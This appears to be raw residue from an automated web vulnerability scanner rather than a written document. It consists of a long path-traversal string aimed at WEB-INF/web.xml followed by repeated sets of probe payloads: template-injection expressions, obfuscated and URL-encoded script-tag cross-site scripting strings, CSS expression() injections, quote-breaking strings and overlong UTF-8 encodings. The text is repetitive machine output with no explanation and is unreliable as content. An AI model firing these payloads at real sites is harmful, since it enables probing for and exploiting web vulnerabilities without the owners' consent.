.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
WEB-INF/web.xml
1
WEB-INF\web.xml
1
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1bYnJ(9815)
1WNZMI[!+!]
1bYnJ(9597)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%62%59%6E%4A%28%39%36%38%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1bYnJ(9686)
1
1bYnJ(9642)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%62%59%6E%4A%289051%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\bYnJ(9604)\u003C/sCripT\u003E
1<ScRiPt>bYnJ(9545)</sCripT>
?
1
1}body{acu:Expre/**/SSion(bYnJ(9565))}
1
1g1klg
bYnJ(9041)
1IKA2L[!+!]
1
1
1
1
1'"()&%mb2Z(9227)
'"()&%mb2Z(9341)
19914657
acu2097%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2097
acux6525%C0%BEz1%C0%BCz2a%90bcxuca6525
1
1
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1mb2Z(9446)
1B8YIR[!+!]
1mb2Z(9102)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6D%62%32%5A%28%39%32%32%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1mb2Z(9780)
1
1mb2Z(9051)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%6D%62%32%5A%289028%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\mb2Z(9742)\u003C/sCripT\u003E
1<ScRiPt>mb2Z(9434)</sCripT>
?
1
1}body{acu:Expre/**/SSion(mb2Z(9972))}
1
1XnDtg
mb2Z(9579)
10EQ35[!+!]
1
1
1
1
1'"()&%ADyZ(9689)
'"()&%ADyZ(9815)
19869260
acu4402%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4402
acux7568%C0%BEz1%C0%BCz2a%90bcxuca7568
1
1
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1ADyZ(9704)
1PXPLK[!+!]
1ADyZ(9285)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%41%44%79%5A%28%39%38%35%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1ADyZ(9155)
1
1ADyZ(9369)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%41%44%79%5A%289399%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\ADyZ(9646)\u003C/sCripT\u003E
1<ScRiPt>ADyZ(9262)</sCripT>
?
1
1}body{acu:Expre/**/SSion(ADyZ(9826))}
1
1IrLjL
ADyZ(9045)
1BG6KL[!+!]
1
1
1
1
1'"()&%j8iE(9463)
'"()&%j8iE(9493)
19673408
acu9463%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9463
acux9652%C0%BEz1%C0%BCz2a%90bcxuca9652
1
1
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1j8iE(9326)
1MUBMN[!+!]
1j8iE(9931)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6A%38%69%45%28%39%36%39%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1j8iE(9191)
1
1j8iE(9852)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%6A%38%69%45%289953%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\j8iE(9087)\u003C/sCripT\u003E
1<ScRiPt>j8iE(9358)</sCripT>
?
1
1}body{acu:Expre/**/SSion(j8iE(9134))}
1
144nel
j8iE(9718)
1U2AF5[!+!]
1
1
1
1
1'"()&%r094(9753)
'"()&%r094(9174)
19795932
acu4996%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4996
acux4165%C0%BEz1%C0%BCz2a%90bcxuca4165
1
1
1}}"}}'}}1%>"%>'%>
1}}"}}'}}1%>"%>'%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1r094(9936)
1F47EZ[!+!]
1r094(9736)
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%72%30%39%34%28%39%31%39%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1r094(9698)
1
1r094(9507)
1r094(9507)
1
1
1
1
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%72%30%39%34%289926%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\r094(9496)\u003C/sCripT\u003E
1<ScRiPt>r094(9115)</sCripT>
?
1
1}body{acu:Expre/**/SSion(r094(9826))}
1
14EBWF
r094(9272)
1PKYQP[!+!]
1
1
1
1